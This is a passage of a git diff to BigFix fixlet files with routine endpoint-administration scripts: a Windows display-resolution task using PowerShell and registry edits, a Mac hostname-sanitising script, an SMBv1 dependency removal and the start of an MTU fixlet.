+<P class=MsoNormal style="MARGIN: 0in 0in 8pt"><FONT face=Arial><FONT size=2>Works utilizing one of two methods:<?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></FONT></FONT></P>
+<OL style="MARGIN-TOP: 0in" type=1>
+<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><FONT face=Arial><FONT size=2><B>If user logged on and not on lock screen:</B> Utilizes <B>DisplaySettings</B> PowerShell module (embedded in actionscript) which uses the <B>ChangeDisplaySettings</B> function to change the display settings.</FONT></FONT></LI>
+<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level1 lfo1; tab-stops: list .5in"><FONT face=Arial><FONT size=2><B>If no user logged on or on lock screen:</B> Utilizes direct registry edits and then restarts the display driver.<o:p></o:p></FONT></FONT></LI>
+<UL style="MARGIN-TOP: 0in" type=disc>
+<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level2 lfo1"><FONT face=Arial><FONT size=2><B>WARNING: </B>Restarting the display driver will cause the screen to temporarily go black.<o:p></o:p></FONT></FONT></LI>
+<LI class=MsoNormal style="MARGIN: 0in 0in 8pt; mso-list: l0 level2 lfo1"><FONT size=2><FONT face=Arial><B>WARNING:</B> This will modify ALL display configurations for the device and may have unintended consequences.</FONT><o:p></o:p></FONT></LI></UL></OL>]]></Description>
+    <Relevance>(name of it starts with &quot;Win&quot;) of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2026-07-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 28 Jul 2026 17:33:18 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to use ChangeDisplaySettings &lt;STRONG&gt;or&lt;/STRONG&gt; registry edit method depending if a user is logged on.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create PowerShell script
+parameter "ScriptPath" = "__Download\display-resolution.ps1"
+delete "{(parameter "ScriptPath")}"
+
+if {(exists process "logonui.exe") or (not exists logged on users whose (active of it = True))}
+    createfile until ENDOFSCRIPT
+
+    $resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
+
+    $displayConfigs = Get-Item HKLM:\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\Configuration\*\00
+    $displayConfigs | ForEach-Object {{
+        Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
+        Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name ActiveSize.cx -Value $resolution.HorizontalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name ActiveSize.cy -Value $resolution.VerticalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.bottom -Value $resolution.VerticalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.left -Value 0 -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.right -Value $resolution.HorizontalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name DwmClipBox.top -Value 0 -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
+        Set-ItemProperty -Path "$($_.PsPath)\00" -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
+    }
+
+    $displayDriver = Get-PnpDevice | Where-Object {{ $_.Class -like "Display*" }
+    $displayDriver | Disable-PnpDevice -Confirm:$false
+    $displayDriver | Enable-PnpDevice -Confirm:$false
+
+    ENDOFSCRIPT
+else
+    createfile until ENDOFSCRIPT
+
+    $cds = @"
+    namespace cds
+    {{
+        using System;
+        using System.Runtime.InteropServices;
+
+        [StructLayout(LayoutKind.Explicit)]
+        public struct DEVMODE
+        {{
+            [FieldOffset(102)]
+            public short dmLogPixels;
+            [FieldOffset(104)]
+            public int dmBitsPerPel;
+            [FieldOffset(108)]
+            public int dmPelsWidth;
+            [FieldOffset(112)]
+            public int dmPelsHeight;
+            [FieldOffset(116)]
+            public int dmDisplayFlags;
+            [FieldOffset(120)]
+            public int dmDisplayFrequency;
+        }
+
+
+        // https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa
+        public class Helper
+        {{
+            public static DEVMODE GetDisplaySettings()
+            {{
+                // #define ENUM_CURRENT_SETTINGS       ((DWORD)-1)
+                // #define ENUM_REGISTRY_SETTINGS      ((DWORD)-2)
+                var devMode = new DEVMODE();
+
+                // A NULL value specifies the current display device on the computer on which the calling thread is running.
+                var retCode = EnumDisplaySettings(null, -1, ref devMode);
+                if (retCode == 0)
+                {{
+                    throw new Exception("can't get resolution from win api");
+                }
+
+                return devMode;
+            }
+
+            public static string ChangeDisplaySettings(int width, int height, int flags)
+            {{
+                // /* Return values for ChangeDisplaySettings */
+                // #define DISP_CHANGE_SUCCESSFUL       0
+                // #define DISP_CHANGE_RESTART          1
+                // #define DISP_CHANGE_FAILED          -1
+                // #define DISP_CHANGE_BADMODE         -2
+                // #define DISP_CHANGE_NOTUPDATED      -3
+                // #define DISP_CHANGE_BADFLAGS        -4
+                // #define DISP_CHANGE_BADPARAM        -5
+                // #if(_WIN32_WINNT >= 0x0501)
+                // #define DISP_CHANGE_BADDUALVIEW     -6
+                // #endif /* _WIN32_WINNT >= 0x0501 */
+
+                var devMode = GetDisplaySettings();
+
+                devMode.dmPelsWidth = width;
+                devMode.dmPelsHeight = height;
+
+                var res = ChangeDisplaySettings(ref devMode, flags);
+                switch (res)
+                {{
+                    case 0:
+                        return "The settings change was successful.";
+                    case 1:
+                        return "The computer must be restarted for the graphics mode to work.";
+                    case -1:
+                        return "The display driver failed the specified graphics mode.";
+                    case -2:
+                        return "The graphics mode is not supported.";
+                    case -3:
+                        return "Unable to write settings to the registry.";
+                    case -4:
+                        return "An invalid set of flags was passed in.";
+                    case -5:
+                        return "An invalid parameter was passed in. This can include an invalid flag or combination of flags.";
+                    case -6:
+                        return "The settings change was unsuccessful because the system is DualView capable.";
+                    default:
+                        return "unknow return code: " + res;
+                }
+            }
+
+            [DllImport("user32.dll")]
+            static extern int EnumDisplaySettings(string deviceName, int modeNum, ref DEVMODE devMode);
+
+            [DllImport("user32.dll")]
+            public static extern int ChangeDisplaySettings(ref DEVMODE devMode, int flags);
+
+            public class Flags
+            {{
+                // #define CDS_UPDATEREGISTRY           0x00000001
+                // #define CDS_TEST                     0x00000002
+                // #define CDS_FULLSCREEN               0x00000004
+                // #define CDS_GLOBAL                   0x00000008
+                // #define CDS_SET_PRIMARY              0x00000010
+                // #define CDS_RESET                    0x40000000
+                // #define CDS_NORESET                  0x10000000
+
+                public const int CDS_UPDATEREGISTRY = 0x01;
+                public const int CDS_TEST = 0x02;
+                public const int CDS_FULLSCREEN = 0x04;
+                public const int CDS_GLOBAL = 0x08;
+                public const int CDS_SET_PRIMARY = 0x10;
+                public const int CDS_RESET = 0x40000000;
+                public const int CDS_NORESET = 0x10000000;
+            }
+        }
+    }
+    "@
+
+    [Flags()] enum CDSFlags {{
+        Dynamically = 0
+        UpdateRegistry = 0x01
+        Test = 0x02
+        FullScreen = 0x04
+        Global = 0x08
+        SetPrimary = 0x10
+        Reset = 0x40000000
+        NoReset = 0x10000000
+    }
+
+    Add-Type -TypeDefinition $cds
+
+    function Set-DisplayResolution {{
+        param (
+            [Parameter(Mandatory = $true, Position = 0)]
+            [int]$Width,
+
+            [Parameter(Mandatory = $true, Position = 1)]
+            [int]$Height,
+
+            [CDSFlags]
+            $Flag = [CDSFlags]::Dynamically
+        )
+
+        [cds.Helper]::ChangeDisplaySettings($Width, $Height, $Flag)
+    }
+
+    function Get-DisplayResolution {{
+        [cds.Helper]::GetDisplaySettings()
+    }
+
+    $resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
+
+    Set-DisplayResolution -Width $resolution.HorizontalResolution -Height $resolution.VerticalResolution -Flag "Global, UpdateRegistry"
+
+    ENDOFSCRIPT
+endif
+
+// Run script
+copy __createfile "{(parameter "ScriptPath")}"
+
+if {(exists process "logonui.exe") or (not exists logged on users whose (active of it = True))}
+    waithidden powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
+else
+    override wait // SYSTEM user is unable to change display settings w/ ChangeDisplaySettings function, must run as current user
+        completion=job
+        hidden=true
+        runas=currentuser
+    wait powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
+endif
+
+//delete "{(parameter "ScriptPath")}"]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28500">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to only use ChangeDisplaySettings method. &lt;STRONG&gt;Requires user to be logged on.&lt;/STRONG&gt;&amp;nbsp;</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[continue if {(not exists process "logonui.exe") and (exists logged on users whose (active of it = True))}
+
+// Create PowerShell script
+parameter "ScriptPath" = "__Download\display-resolution.ps1"
+delete "{(parameter "ScriptPath")}"
+
+createfile until ENDOFSCRIPT
+
+$cds = @"
+namespace cds
+{{
+    using System;
+    using System.Runtime.InteropServices;
+
+    [StructLayout(LayoutKind.Explicit)]
+    public struct DEVMODE
+    {{
+        [FieldOffset(102)]
+        public short dmLogPixels;
+        [FieldOffset(104)]
+        public int dmBitsPerPel;
+        [FieldOffset(108)]
+        public int dmPelsWidth;
+        [FieldOffset(112)]
+        public int dmPelsHeight;
+        [FieldOffset(116)]
+        public int dmDisplayFlags;
+        [FieldOffset(120)]
+        public int dmDisplayFrequency;
+    }
+
+
+    // https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa
+    public class Helper
+    {{
+        public static DEVMODE GetDisplaySettings()
+        {{
+            // #define ENUM_CURRENT_SETTINGS       ((DWORD)-1)
+            // #define ENUM_REGISTRY_SETTINGS      ((DWORD)-2)
+            var devMode = new DEVMODE();
+
+            // A NULL value specifies the current display device on the computer on which the calling thread is running.
+            var retCode = EnumDisplaySettings(null, -1, ref devMode);
+            if (retCode == 0)
+            {{
+                throw new Exception("can't get resolution from win api");
+            }
+
+            return devMode;
+        }
+
+        public static string ChangeDisplaySettings(int width, int height, int flags)
+        {{
+            // /* Return values for ChangeDisplaySettings */
+            // #define DISP_CHANGE_SUCCESSFUL       0
+            // #define DISP_CHANGE_RESTART          1
+            // #define DISP_CHANGE_FAILED          -1
+            // #define DISP_CHANGE_BADMODE         -2
+            // #define DISP_CHANGE_NOTUPDATED      -3
+            // #define DISP_CHANGE_BADFLAGS        -4
+            // #define DISP_CHANGE_BADPARAM        -5
+            // #if(_WIN32_WINNT >= 0x0501)
+            // #define DISP_CHANGE_BADDUALVIEW     -6
+            // #endif /* _WIN32_WINNT >= 0x0501 */
+
+            var devMode = GetDisplaySettings();
+
+            devMode.dmPelsWidth = width;
+            devMode.dmPelsHeight = height;
+
+            var res = ChangeDisplaySettings(ref devMode, flags);
+            switch (res)
+            {{
+                case 0:
+                    return "The settings change was successful.";
+                case 1:
+                    return "The computer must be restarted for the graphics mode to work.";
+                case -1:
+                    return "The display driver failed the specified graphics mode.";
+                case -2:
+                    return "The graphics mode is not supported.";
+                case -3:
+                    return "Unable to write settings to the registry.";
+                case -4:
+                    return "An invalid set of flags was passed in.";
+                case -5:
+                    return "An invalid parameter was passed in. This can include an invalid flag or combination of flags.";
+                case -6:
+                    return "The settings change was unsuccessful because the system is DualView capable.";
+                default:
+                    return "unknow return code: " + res;
+            }
+        }
+
+        [DllImport("user32.dll")]
+        static extern int EnumDisplaySettings(string deviceName, int modeNum, ref DEVMODE devMode);
+
+        [DllImport("user32.dll")]
+        public static extern int ChangeDisplaySettings(ref DEVMODE devMode, int flags);
+
+        public class Flags
+        {{
+            // #define CDS_UPDATEREGISTRY           0x00000001
+            // #define CDS_TEST                     0x00000002
+            // #define CDS_FULLSCREEN               0x00000004
+            // #define CDS_GLOBAL                   0x00000008
+            // #define CDS_SET_PRIMARY              0x00000010
+            // #define CDS_RESET                    0x40000000
+            // #define CDS_NORESET                  0x10000000
+
+            public const int CDS_UPDATEREGISTRY = 0x01;
+            public const int CDS_TEST = 0x02;
+            public const int CDS_FULLSCREEN = 0x04;
+            public const int CDS_GLOBAL = 0x08;
+            public const int CDS_SET_PRIMARY = 0x10;
+            public const int CDS_RESET = 0x40000000;
+            public const int CDS_NORESET = 0x10000000;
+        }
+    }
+}
+"@
+
+[Flags()] enum CDSFlags {{
+    Dynamically = 0
+    UpdateRegistry = 0x01
+    Test = 0x02
+    FullScreen = 0x04
+    Global = 0x08
+    SetPrimary = 0x10
+    Reset = 0x40000000
+    NoReset = 0x10000000
+}
+
+Add-Type -TypeDefinition $cds
+
+function Set-DisplayResolution {{
+    param (
+        [Parameter(Mandatory = $true, Position = 0)]
+        [int]$Width,
+
+        [Parameter(Mandatory = $true, Position = 1)]
+        [int]$Height,
+
+        [CDSFlags]
+        $Flag = [CDSFlags]::Dynamically
+    )
+
+    [cds.Helper]::ChangeDisplaySettings($Width, $Height, $Flag)
+}
+
+function Get-DisplayResolution {{
+    [cds.Helper]::GetDisplaySettings()
+}
+
+$resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
+
+Set-DisplayResolution -Width $resolution.HorizontalResolution -Height $resolution.VerticalResolution -Flag "Global, UpdateRegistry"
+
+ENDOFSCRIPT
+
+// Run script
+copy __createfile "{(parameter "ScriptPath")}"
+
+override wait // SYSTEM user is unable to change display settings w/ ChangeDisplaySettings function, must run as current user
+    completion=job
+    hidden=true
+    runas=currentuser
+wait powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "{(parameter "ScriptPath")}"
+
+//delete "{(parameter "ScriptPath")}"]]></ActionScript>
+    </Action>
+    <Action ID="Action28501">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to only use registry edit method.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Create PowerShell script
+parameter &quot;ScriptPath&quot; = &quot;__Download\display-resolution.ps1&quot;
+delete &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
+
+createfile until ENDOFSCRIPT
+
+$resolution = Get-WmiObject -Class CIM_VideoControllerResolution | Sort-Object -Property @{{Expression={{$_.HorizontalResolution * $_.VerticalResolution}} -Descending | Select-Object -First 1 -Property HorizontalResolution, VerticalResolution
+
+$displayConfigs = Get-Item HKLM:\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\Configuration\*\00
+$displayConfigs | ForEach-Object {{
+    Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
+    Set-ItemProperty -Path $_.PsPath -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name ActiveSize.cx -Value $resolution.HorizontalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name ActiveSize.cy -Value $resolution.VerticalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.bottom -Value $resolution.VerticalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.left -Value 0 -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.right -Value $resolution.HorizontalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name DwmClipBox.top -Value 0 -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name PrimSurfSize.cx -Value $resolution.HorizontalResolution -Force
+    Set-ItemProperty -Path &quot;$($_.PsPath)\00&quot; -Name PrimSurfSize.cy -Value $resolution.VerticalResolution -Force
+}
+
+$displayDriver = Get-PnpDevice | Where-Object {{ $_.Class -like &quot;Display*&quot; }
+$displayDriver | Disable-PnpDevice -Confirm:$false
+$displayDriver | Enable-PnpDevice -Confirm:$false
+
+ENDOFSCRIPT
+
+// Run script
+copy __createfile &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
+
+waithidden powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File &quot;{(parameter &quot;ScriptPath&quot;)}&quot;
+
+//delete &quot;{(parameter &quot;ScriptPath&quot;)}&quot;</ActionScript>
+    </Action>
+    <Action ID="Action28502">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view DisplaySettings PowerShell module from PowerShell Gallery.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://www.powershellgallery.com/packages/DisplaySettings/0.0.2</ActionScript>
+    </Action>
+    <Action ID="Action28503">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view ChangeDisplaySettings function documentation from Microsoft.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsa</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set Hostname and Local Subnet Name to Sharing Name V2 - Mac (3649).bes b/Sites/Windows Management/Fixlets/Fixlets/Set Hostname and Local Subnet Name to Sharing Name V2 - Mac (3649).bes
index 378c044b6..cadd4a3c3 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set Hostname and Local Subnet Name to Sharing Name V2 - Mac (3649).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set Hostname and Local Subnet Name to Sharing Name V2 - Mac (3649).bes	
@@ -1,59 +1,59 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Set Hostname and Local Subnet Name to Sharing Name V2 - Mac
-  ID       : 3649
-  Author   : kerryt9455
-  Domain   : BESC
-  Imported : 2013-10-24T07:28:51
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Set Hostname and Local Subnet Name to Sharing Name V2 - Mac</Title>
-    <Description><![CDATA[<P>This task gets the Sharing Name, Hostname and Local Subnet Name (Bonjour Name). It checks for apostrophes, spaces, and other illegal characters.&nbsp; It then checks to see if the cleaned&nbsp;Sharing Name matches the Hostname (with .local on the end).&nbsp; If they don't match it changes the Hostname to correct it.&nbsp; It also checks to see if the cleaned Sharing Name matches the Local Subnet Name.&nbsp; If it doesn't match it updates the Local Subnet Name to the Sharing Name with .local on the end. Finally, if the computer name doesn't match the sanitized name, it updates the sharing name.</P>
-<P>By making these names all match computers should appear in SEP and Secunia using their Sharing Name.</P>
-<P><STRONG>Note:</STRONG> The script will replace any spaces in the Sharing Name with hyphens!</P>]]></Description>
-    <Relevance>name of operating system = &quot;Mac OS X&quot;</Relevance>
-    <Relevance><![CDATA[system version >= "10.5" as version]]></Relevance>
-    <Relevance>(not (hostname contains computer name)) OR ((it contains &quot;_&quot; or it contains &quot;&apos;&quot; or it contains &quot; &quot;) of hostname)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2012-04-06</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 08 Feb 2013 21:55:41 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-sh">#!/bin/bash
-
-sharename=`networksetup -getcomputername`
-compname=`networksetup -getcomputername | sed &apos;s/ /-/g&apos; | sed &quot;s/&apos;//g&quot; | sed &quot;s/’//g&quot; | sed &apos;s/_/-/g&apos;`
-hstname=`hostname`
-lclname=&quot;`systemsetup -getlocalsubnetname | sed &apos;s/Local Subnet Name: //&apos;`&quot;
-
-if [ &quot;${compname}.local&quot; != &quot;$hstname&quot; ]
-then
-	scutil --set HostName ${compname}.local
-fi
-
-if [ &quot;$compname&quot; != &quot;$lclname&quot; ]
-then
-	systemsetup -setlocalsubnetname $compname
-fi
-
-if [ &quot;$sharename&quot; != &quot;$compname&quot; ]
-then
-	scutil --set ComputerName $compname
-fi
-
-exit 0</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Hostname and Local Subnet Name to Sharing Name V2 - Mac
+  ID       : 3649
+  Author   : kerryt9455
+  Domain   : BESC
+  Imported : 2013-10-24T07:28:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Hostname and Local Subnet Name to Sharing Name V2 - Mac</Title>
+    <Description><![CDATA[<P>This task gets the Sharing Name, Hostname and Local Subnet Name (Bonjour Name). It checks for apostrophes, spaces, and other illegal characters.&nbsp; It then checks to see if the cleaned&nbsp;Sharing Name matches the Hostname (with .local on the end).&nbsp; If they don't match it changes the Hostname to correct it.&nbsp; It also checks to see if the cleaned Sharing Name matches the Local Subnet Name.&nbsp; If it doesn't match it updates the Local Subnet Name to the Sharing Name with .local on the end. Finally, if the computer name doesn't match the sanitized name, it updates the sharing name.</P>
+<P>By making these names all match computers should appear in SEP and Secunia using their Sharing Name.</P>
+<P><STRONG>Note:</STRONG> The script will replace any spaces in the Sharing Name with hyphens!</P>]]></Description>
+    <Relevance>name of operating system = &quot;Mac OS X&quot;</Relevance>
+    <Relevance><![CDATA[system version >= "10.5" as version]]></Relevance>
+    <Relevance>(not (hostname contains computer name)) OR ((it contains &quot;_&quot; or it contains &quot;&apos;&quot; or it contains &quot; &quot;) of hostname)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-04-06</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 08 Feb 2013 21:55:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-sh">#!/bin/bash
+
+sharename=`networksetup -getcomputername`
+compname=`networksetup -getcomputername | sed &apos;s/ /-/g&apos; | sed &quot;s/&apos;//g&quot; | sed &quot;s/’//g&quot; | sed &apos;s/_/-/g&apos;`
+hstname=`hostname`
+lclname=&quot;`systemsetup -getlocalsubnetname | sed &apos;s/Local Subnet Name: //&apos;`&quot;
+
+if [ &quot;${compname}.local&quot; != &quot;$hstname&quot; ]
+then
+	scutil --set HostName ${compname}.local
+fi
+
+if [ &quot;$compname&quot; != &quot;$lclname&quot; ]
+then
+	systemsetup -setlocalsubnetname $compname
+fi
+
+if [ &quot;$sharename&quot; != &quot;$compname&quot; ]
+then
+	scutil --set ComputerName $compname
+fi
+
+exit 0</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set LanmanWorkstation service to NOT depend on SMBv1 - Windows (23441).bes b/Sites/Windows Management/Fixlets/Fixlets/Set LanmanWorkstation service to NOT depend on SMBv1 - Windows (23441).bes
index b66892000..6158aaf95 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set LanmanWorkstation service to NOT depend on SMBv1 - Windows (23441).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set LanmanWorkstation service to NOT depend on SMBv1 - Windows (23441).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Set LanmanWorkstation service to NOT depend on SMBv1 - Windows
-  ID       : 23441
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-02-14T15:27:08
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Set LanmanWorkstation service to NOT depend on SMBv1 - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>exists unique values whose(it contains &quot;mrxsmb10&quot;) of (it as string as lowercase) of values &quot;DependOnService&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation&quot; of (x64 registries;x32 registries)</Relevance>
-    <Relevance>windows of operating systems</Relevance>
-    <Category>Configuration</Category>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 14 Feb 2017 23:25:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012
-waithidden sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
-
-action requires restart &quot;SMBv1_LanManDepends&quot;
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Set LanmanWorkstation service to NOT depend on SMBv1 - Windows
+  ID       : 23441
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-02-14T15:27:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Set LanmanWorkstation service to NOT depend on SMBv1 - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>exists unique values whose(it contains &quot;mrxsmb10&quot;) of (it as string as lowercase) of values &quot;DependOnService&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation&quot; of (x64 registries;x32 registries)</Relevance>
+    <Relevance>windows of operating systems</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 Feb 2017 23:25:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012
+waithidden sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
+
+action requires restart &quot;SMBv1_LanManDepends&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set MTU to 1400 (2456).bes b/Sites/Windows Management/Fixlets/Fixlets/Set MTU to 1400 (2456).bes
index ffcd03f41..4ae44953c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Set MTU to 1400 (2456).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set MTU to 1400 (2456).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Set MTU to 1400
-  ID       : 2456
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2013-05-08T08:03:23
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Set MTU to 1400</Title>
-    <Description>Detects if the MTU for the 10.* interface is NOT set to 1400. If so, this will report as relevant and will change the interface to 1400</Description>
